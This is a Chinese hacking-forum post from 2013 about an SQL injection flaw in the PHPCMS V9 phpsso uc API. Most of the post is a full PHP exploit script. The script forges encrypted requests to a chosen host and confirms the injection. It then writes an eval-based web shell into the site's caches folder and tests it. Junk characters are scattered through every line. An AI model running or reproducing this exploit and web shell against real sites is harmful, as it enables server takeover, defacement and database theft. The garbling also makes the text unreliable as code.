找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 1795|回复: 0
打印 上一主题 下一主题

PHPCMS V9 uc API SQL注入漏洞

[复制链接]
跳转到指定楼层
楼主
发表于 2013-2-9 01:22:59 | 只看该作者 回帖奖励 |正序浏览 |阅读模式
PHPCMS V9版于2010年推出,是应用较为广泛的建站工具。第三方数据显示,目前使用PHPCMS V9搭建的网站数量多达数十万个,包括联合国儿童基金会等机构网站,以及大批企业网站均使用PHPCMS V9搭建和维护。9 {! a! H1 A" Y; [9 G& f; J$ m

8 H3 @0 a9 H7 C5 @% b! C( A( ?- g! c所有使用PHPCMSV9搭建的网站均存在SQL注入漏洞,可能使黑客利用漏洞篡改网页、窃取数据库,甚至控制服务器。未启用ucenter服务的情况下,uc_key为空,define('UC_KEY', pc_base::load_config('system', 'uc_key'));deleteuser接口存在SQL注入漏洞。若MYSQL具有权限,可直接get webshell。
- m2 o* h9 |: T0 I
' q1 q* z8 S$ ]8 I5 W* L) s漏洞分析:: T' y5 _' t* W* ?+ N; B; l4 P6 h0 U
1.未启用ucenter服务的情况下uc_key为空, L2 h: c& h# L: B7 h" q) t
define('UC_KEY', pc_base::load_config('system', 'uc_key'));/ Q! V: o3 z& z+ |7 r5 F
2. deleteuser接口存在SQL注入漏洞,UC算法加密的参数无惧GPC,程序员未意识到$get['ids']会存在SQL注入情况。
, |- `8 o8 @: c1 ]! v( R    public function deleteuser($get,$post) {2 I, W, R' {: z" O- |$ r" Z  `
        pc_base::load_app_func('global', 'admin');
' P5 e2 m3 P$ M$ x* }: P$ f        pc_base::load_app_class('messagequeue', 'admin' , 0);
- `0 h) h+ q/ O1 O8 D        $ids = new_stripslashes($get['ids']);. R8 o; ?' s8 H$ Z
        $s = $this->member_db->select("ucuserid in ($ids)", "uid");
* q- `$ Z1 h& }' x( c3 QSQL语句为/ n+ B4 t+ g8 j$ f& r  C( W' X7 c
SELECT `uid` FROM `phpcmsv9`.`v9_sso_members` WHERE ucuserid in ($ids)
# [! X' Q1 V1 `8 q. Z
9 p( n" d% c6 W, H' f8 O; L" P利用代码,随便拼了个EXP,找路径正则写得很挫有BUG,没有注其他表了,懒得改了,MYSQL有权限的话直接get webshell, j# D8 t: G0 b( v& p3 r1 Q
<?php' e5 V+ K1 d$ q
print_r('
/ m+ T* V5 u/ [# |7 b. A3 o3 {- c---------------------------------------------------------------------------
! F8 i/ d* f% u- \- C3 jPHPcms (v9 or Old Version) uc api sql injection 0day3 v1 k+ P1 I( ]* w$ D
by rayh4c#80sec.com, P3 @4 x4 m# ]! a, l0 f5 F
---------------------------------------------------------------------------7 F- m5 w( ~9 R
');( y& W% d) o& \, T; b
$ |( t7 e  M( C0 f! p0 ]8 J
if ($argc<3) {) L3 O; O  c; R! G4 O, _
    print_r('4 i- g" Y& F: {+ _3 e+ @
---------------------------------------------------------------------------* O2 C: `7 v* q8 O( w7 |# X- w% b
Usage: php '.$argv[0].' host path OPTIONS; Q8 r' h. M6 j( ^7 V* S% W
host:      target server (ip/hostname)
( ~" D! w; V8 }7 Vpath:      path to phpcms
1 u+ {" F& J) j# c' _) H8 UOptions:: U8 V5 \$ Y# ~# x$ O- z( \3 t
-p[port]:    specify a port other than 806 l6 J7 {6 `6 ?: r  Y6 J+ j
-P[ip:port]: specify a proxy
/ {% b% d( `0 [7 }& Z0 z/ v2 E8 tExample:
5 i: k  n7 A$ j  d0 P7 Nphp '.$argv[0].' localhost /
* [: N9 a1 A" f1 V$ nphp '.$argv[0].' localhost /phpcms/ -p81
( n6 w2 i' q5 v8 I4 P' l. I- ]php '.$argv[0].' localhost /phpcms/ -P1.1.1.1:804 I/ S( I3 E" C4 Z0 ^. a* w
---------------------------------------------------------------------------3 L0 u3 u& j! r3 o1 M4 m# f
');
' G( Z2 {9 p$ Z& [4 h    die;
  k" G4 R. ^  _  o7 d( j}" @& E, A7 L% I  O( U

6 S( U$ B3 X. i. `/ N4 {error_reporting(7);$ G2 d2 m: t8 z
ini_set("max_execution_time",0);
, Y" c5 H9 o4 t0 x9 @: Iini_set("default_socket_timeout",5);$ w3 J( w6 k5 W% u) Q9 C

5 u5 X0 |( @+ d  t1 Pfunction quick_dump($string)
6 L$ {# f  N' h{
1 L6 K: y7 |1 o+ ^  $result='';$exa='';$cont=0;8 q) S3 Z, Z, f$ ]
  for ($i=0; $i<=strlen($string)-1; $i++)
: z  h* p% g9 ]$ c& S3 M  {8 S4 Z; ~6 E3 T, I0 \! O! n8 a
   if ((ord($string[$i]) <= 32 ) | (ord($string[$i]) > 126 ))9 i* l; Y. z+ a
   {$result.="  .";}) H. ]0 y* w6 g+ o: L0 G
   else& n. F2 f6 B7 [0 P/ s/ u) r; v
   {$result.="  ".$string[$i];}4 A2 E) a. u, Y% r, G5 l
   if (strlen(dechex(ord($string[$i])))==2)
& z7 ~9 r2 Q& X: ~   {$exa.=" ".dechex(ord($string[$i]));}
% R& D& ]  r, X+ ~4 N   else' L% h, i* q1 \$ F
   {$exa.=" 0".dechex(ord($string[$i]));}
( H5 J% h; ?$ S$ }  u1 i   $cont++;if ($cont==15) {$cont=0; $result.="\r\n"; $exa.="\r\n";}
; g/ B) J. D* P0 H/ R. v  k: Z0 d; u  }
3 @5 L8 a2 r% G, G8 n# F return $exa."\r\n".$result;
* h: S9 T! i) O}, C" r+ K3 B- m. m- q4 v5 V  J- B
$proxy_regex = '(\b\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}\:\d{1,5}\b)';/ i% O8 k. x, o

; s2 d1 W$ ~/ T6 Dfunction send($packet)
+ ?- v0 l% m' @) b" F{
; y7 d$ l# s( Z3 v$ |  global $proxy, $host, $port, $html, $proxy_regex;* V) x% x4 P- e# M2 H' L
  if ($proxy=='') {
- u/ b8 q6 E( m+ C8 c    $ock=fsockopen(gethostbyname($host),$port);2 U/ z6 \- l/ b5 k/ Y9 X0 \
    if (!$ock) {$ T2 c" N. l/ V0 B0 W0 o4 K5 P" u9 E' H6 s
      echo 'No response from '.$host.':'.$port; die;4 \# s* @2 {9 s
    }
) [' S) |+ C/ F7 ~5 s" T  }
* _2 U: \* i: c  s8 t  else {3 ]' T' m) {8 T5 p0 W( y; f
        $c = preg_match($proxy_regex,$proxy);
# @$ T1 q- Y; M3 H    if (!$c) {- H+ _  s1 m8 e. j' P/ n
      echo 'Not a valid proxy...';die;
8 Q# }, h& j' I" Z$ e    }
" g/ T- }# j7 Q- d5 Z    $parts=explode(':',$proxy);
' D; l, O9 |+ I' u+ H$ w    $parts[1]=(int)$parts[1];6 C) {. P7 M# x
    echo "Connecting to ".$parts[0].":".$parts[1]." proxy...\r\n";
( d& h, H6 {( M  v) m4 g    $ock=fsockopen($parts[0],$parts[1]);
0 @- e: `+ Z, E) B+ H+ j$ J$ y    if (!$ock) {
# i% u  Z' g& K( A4 ?      echo 'No response from proxy...';die;- ^/ ^. h0 `2 {( m9 }6 \: |6 o
        }
  t) ~, o* E1 l4 @, Q3 H6 a  }2 s: F( j) k' [+ f% `. d3 n$ ?
  fputs($ock,$packet);0 ?: A  q$ o; w3 B& w/ R
  if ($proxy=='') {/ F# G  C6 s) N& ]' B0 t
    $html='';
% N6 F- R8 T) Y% s( W+ j    while (!feof($ock)) {
) }# O9 @' T& f      $html.=fgets($ock);* m2 x7 [+ S" b6 F3 A/ X% K5 y
    }
9 T6 v7 u! E- P) h  }, ?. |5 i& P9 j
  else {
$ c$ t, [& _6 z$ J( b( }% h    $html='';7 u% x; Z' M  U; b) s) ]
    while ((!feof($ock)) or (!eregi(chr(0x0d).chr(0x0a).chr(0x0d).chr(0x0a),$html))) {* z8 Q$ E6 S, K% z
      $html.=fread($ock,1);
* _) y$ e% m* r  o; b" b4 u+ Y    }7 K- L5 a! g5 C$ N" l* W/ k
  }. B1 Y3 }  ?7 Q! v" D7 N9 ^- ^$ k
  fclose($ock);
' R7 B8 A/ P: w8 r: b}
  ^: l4 g4 ?* [4 O6 g, t9 s$ w
( V, y& L: d* B# {3 y$host=$argv[1];! B4 [4 T3 V  x
$path=$argv[2];" `2 l' H: T4 X3 i  x+ K( T
$port=80;
0 K' Y0 S( K# w4 J3 h* Z4 s$proxy="";
' Z. N* b) T9 W$ i0 ?8 Nfor ($i=3; $i<$argc; $i++){! M  S; ^" E' B1 K! O
$temp=$argv[$i][0].$argv[$i][1];' W1 }, K* \8 h# x3 S
if ($temp=="-p"). h" s, H/ @9 q) J" R
{
. z/ B% X( w; [; y+ o6 i& H6 F  $port=(int)str_replace("-p","",$argv[$i]);
6 X& H/ e7 T) ?2 l# t}
" n. v9 I5 Z& K7 R6 a' A+ X. l" Vif ($temp=="-P")  X# c3 a* M7 I6 c2 n2 {
{
" B4 b9 P9 E0 D" V$ V& ]+ B* L  $proxy=str_replace("-P","",$argv[$i]);4 I- G1 @2 @. @9 f! C$ r
}5 n( Q! D$ g3 T2 g1 S! ^+ f% U; E
}
3 R7 J( X9 ~, H/ o! Q: A0 m! `2 Y1 v5 `  c. C
if (($path[0]<>'/') or ($path[strlen($path)-1]<>'/')) {echo 'Error... check the path!'; die;}% g+ k7 k0 ]2 `, I5 A& X( {
if ($proxy=='') {$p=$path;} else {$p='http://'.$host.':'.$port.$path;}1 g: n; c0 h+ O1 M6 W. e+ f
9 d. C* M! K' `) Q& w
function authcode($string, $operation = 'DECODE', $key = '', $expiry = 0) {0 ?5 q1 ]5 y( ?: u7 K3 L

: I$ d! H7 Z0 p, p$ P6 u2 \    $ckey_length = 4;! A5 y# Q- h6 e8 b! k8 K

" \/ h$ m* r+ u4 c6 o9 V% u% B    $key = md5($key ? $key : '');" i) v# [% R$ s* L
    $keya = md5(substr($key, 0, 16));$ l! Z& u( K6 x5 C$ g# h- n, W
    $keyb = md5(substr($key, 16, 16));, r- @; R& u2 z1 P, q0 A, g
    $keyc = $ckey_length ? ($operation == 'DECODE' ? substr($string, 0, $ckey_length): substr(md5(microtime()), -$ckey_length)) : '';
' B, e7 P8 ]2 n: k$ m5 |& e+ R. v0 d6 r# V6 M$ H
    $cryptkey = $keya.md5($keya.$keyc);
  [0 H/ v9 y$ ^( B; y    $key_length = strlen($cryptkey);' T9 o$ S4 _7 x
9 h4 g" g9 D8 L) X1 P
    $string = $operation == 'DECODE' ? base64_decode(substr($string, $ckey_length)) : sprintf('%010d', $expiry ? $expiry + time() : 0).substr(md5($string.$keyb), 0, 16).$string;
+ S4 P" V8 `; P- \    $string_length = strlen($string);
- Q9 ]; E" R6 Q+ W& N
% U6 _% W, A. H2 ^: ], E    $result = '';
4 d; s* P6 C4 f/ K. o' {    $box = range(0, 255);
2 C  d7 e( W0 p" @
+ H) V/ }4 d1 F7 p    $rndkey = array();
/ Y3 h) V4 b, p. ]# Z( Q    for($i = 0; $i <= 255; $i++) {$ ^* `+ a+ Y9 b$ i
        $rndkey[$i] = ord($cryptkey[$i % $key_length]);
- g* T+ Z5 i; ]) T2 s7 v! c    }. P" i" q5 X: ]: i

( ^2 q/ N7 N( |    for($j = $i = 0; $i < 256; $i++) {
! ]+ X; j# Z/ p) U2 M, ?; d3 v        $j = ($j + $box[$i] + $rndkey[$i]) % 256;/ e8 q( d7 }3 D" G/ R% q
        $tmp = $box[$i];
8 ^  E5 S! d2 p        $box[$i] = $box[$j];
) |  o  E' c6 x8 P        $box[$j] = $tmp;
5 Y3 i; j) W" `' J: z' ^    }
% ?9 |: B0 g3 _7 m5 |5 Q! h+ j5 x; K! t
    for($a = $j = $i = 0; $i < $string_length; $i++) {
' K7 _$ p& Z9 P2 [5 d        $a = ($a + 1) % 256;
% n/ t/ ^( r0 P) ], t! i        $j = ($j + $box[$a]) % 256;
: u& X9 w" K( @0 ^7 x7 e        $tmp = $box[$a];0 n( i/ Z& ?4 N% {
        $box[$a] = $box[$j];0 J5 R* Q* u. V4 X2 `/ e$ o- h
        $box[$j] = $tmp;' B$ h# O. s( n- K# G7 f
        $result .= chr(ord($string[$i]) ^ ($box[($box[$a] + $box[$j]) % 256]));' h5 s2 I' e. S0 e! G2 b' [# p
    }
% ~- I" a% r5 _3 @4 |. ?6 m8 k% r" i9 y9 k9 I6 _
    if($operation == 'DECODE') {2 B; V( X0 `/ |$ \& o2 O
        if((substr($result, 0, 10) == 0 || substr($result, 0, 10) - time() > 0) && substr($result, 10, 16) == substr(md5(substr($result, 26).$keyb), 0, 16)) {- U2 I$ i4 T/ B1 H
            return substr($result, 26);
/ V& J, s. n( d8 B        } else {
" ?. Y3 y- P4 c" M* ]* h            return '';
9 v, m) V9 A. z. P- C        }
  ~% ~, @& Q* K    } else {
3 @1 ~+ U! S% s) ^8 c3 U        return $keyc.str_replace('=', '', base64_encode($result));5 T) {2 s( P6 k# V$ ]& J
    }
- [( l7 a4 `6 \7 K. F3 }- v! n: o% P/ ^) c! z  L/ \; p' O1 v
}# v6 t3 x& n. @, y- N

; W- D+ b: \/ ^) U0 B  x$SQL = "time=999999999999999999999999&ids=1'&action=deleteuser";
; Y1 O5 c  K9 i9 p; @/ |- V( K$SQL = urlencode(authcode($SQL, "ENCODE", ""));
+ j0 i: `+ y+ `, u  x, o) Vecho "[1] 访问 http://".$host.$p."phpsso_server/api/uc.php?code=".$SQL."\n";
# y8 f5 F- ?, @) O$packet ="GET ".$p."phpsso_server/api/uc.php?code=".$SQL." HTTP/1.0\r\n";1 Z! |5 i: F% N9 Q' [& b5 K
$packet.="User-Agent: Mozilla/5.0\r\n";
+ @, g! _* d3 A$ ]5 A" r! o$packet.="Host: ".$host."\r\n";
0 U# z3 r  s" m# @$packet.="Connection: Close\r\n\r\n";% R( a% ~1 E. e7 x/ c/ o) M
send($packet);
( n4 M$ h2 S: Oif(strpos($html,"MySQL Errno") > 0){
  M; T- T. i- n" F/ A6 N7 ~' Decho "[2] 发现存在SQL注入漏洞"."\n";6 J' C3 c" x" |( }
echo "[3] 访问 http://".$host.$p."phpsso_server/api/logout.php \n";6 a7 F) r/ f$ `- S9 P3 b$ Y
$packet ="GET ".$p."phpsso_server/api/logout.php"." HTTP/1.0\r\n";) K9 v9 U* Y. [5 c; k# j* i
$packet.="User-Agent: Mozilla/5.0\r\n";6 n0 ~7 [0 f( o4 E3 X0 Y) J
$packet.="Host: ".$host."\r\n";
7 M, ~6 X$ B0 N+ a$packet.="Connection: Close\r\n\r\n";/ j: I5 e( O9 K
send($packet);
: a* S. x) z1 Kpreg_match('/[A-Za-z]?[:]?[\/\x5c][^<^>]+[\/\x5c]phpsso_server[\/\x5c]/',$html, $matches);; _! K5 e9 a% @$ R/ k- @
//print_r($matches);% ^; D! [/ {  t( l) Q
if(!empty($matches)){
  W! j4 E0 w3 decho "[4] 得到web路径 " . $matches[0]."\n";+ D& \3 O( {! i
echo "[5] 尝试写入文件 ". str_replace("\\","/",$matches[0]) ."caches/shell.php"."\n";
( r% Q1 \$ X! q2 {3 j3 a$SQL = "time=999999999999999999999999&ids=1)";3 u9 U  R' |; D8 `9 T  W7 [2 K
$SQL.=" and 1=2 union select '<?php eval($"."_REQUEST[a]);?>' into outfile '". str_replace("\\","/",$matches[0]) ."caches/shell.php'#";
& p% Z  I, G5 K$ z$ U5 R# |$SQL.="&action=deleteuser";& j' b2 `4 E/ N7 [4 K7 x: ]
$SQL = urlencode(authcode($SQL, "ENCODE", ""));
2 ^' r$ o- r) I  aecho "[6] 访问 http://".$host.$p."phpsso_server/api/uc.php?code=".$SQL."\n";" x& x! S+ \( S+ T
$packet ="GET ".$p."phpsso_server/api/uc.php?code=".$SQL." HTTP/1.0\r\n";* ^/ e. {3 B6 Q/ s  ~0 f
$packet.="User-Agent: Mozilla/5.0\r\n";& y# O. E8 I$ v, L& x8 T! I
$packet.="Host: ".$host."\r\n";
  A& L' j. M2 U. G. x: a  k$packet.="Connection: Close\r\n\r\n";
9 L( h$ q# b2 T1 m# Fsend($packet);
" z) _' ^& J  P$ q5 u# J1 m! Qif(strpos($html,"Access denied") > 0){- [3 w+ R3 M7 i) {6 a4 l' w
echo "[-] MYSQL权限过低 禁止写入文件 ";
( Y) N( q6 e9 C; C  @die;
2 J, {2 t9 e6 W" X  o2 o( i}8 z0 y6 o% i3 @  e/ [
echo "[6] 访问 http://".$host.$p."phpsso_server/caches/shell.php"."\n";) g) M4 g4 ?1 h0 d% Q
$packet ="GET ".$p."phpsso_server/caches/shell.php?a=phpinfo(); HTTP/1.0\r\n";2 x) }! J; F7 _$ a
$packet.="User-Agent: Mozilla/5.0\r\n";
$ h* |  g' }8 [/ I* P  w$packet.="Host: ".$host."\r\n";1 X) j$ l! d: N$ R
$packet.="Connection: Close\r\n\r\n";
( Z( I) A! z& H( C4 F- m! msend($packet);
$ ]. H& L; M8 A2 D5 X/ Rif(strpos($html,"<title>phpinfo()</title>") > 0){
, m1 |7 c/ \0 O& y( r/ Aecho "[7] 测试phpinfo成功!shell密码是a ! enjoy it ";
$ J0 u  U5 c, I2 J8 `. v}. h0 C9 `% U! x) R" ]
}else{9 s9 c3 }# t( x6 g" u% }
echo "[-]未取到web路径 ";. n8 B( d1 b! o4 W( p6 ]! d: F
}
! \( P" ~/ w, d0 C5 U" ], }: H}else{
2 ~) v0 h/ p( P" iecho "[*]不存在SQL注入漏洞"."\n";% X  U( v: A. N, T* U5 n8 @, ]
}% k; x4 \% O; l( i7 o
8 P! p1 t' I. N9 i- y) z2 M* ~
?>
) i( t# i; T& N# \  H% y
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表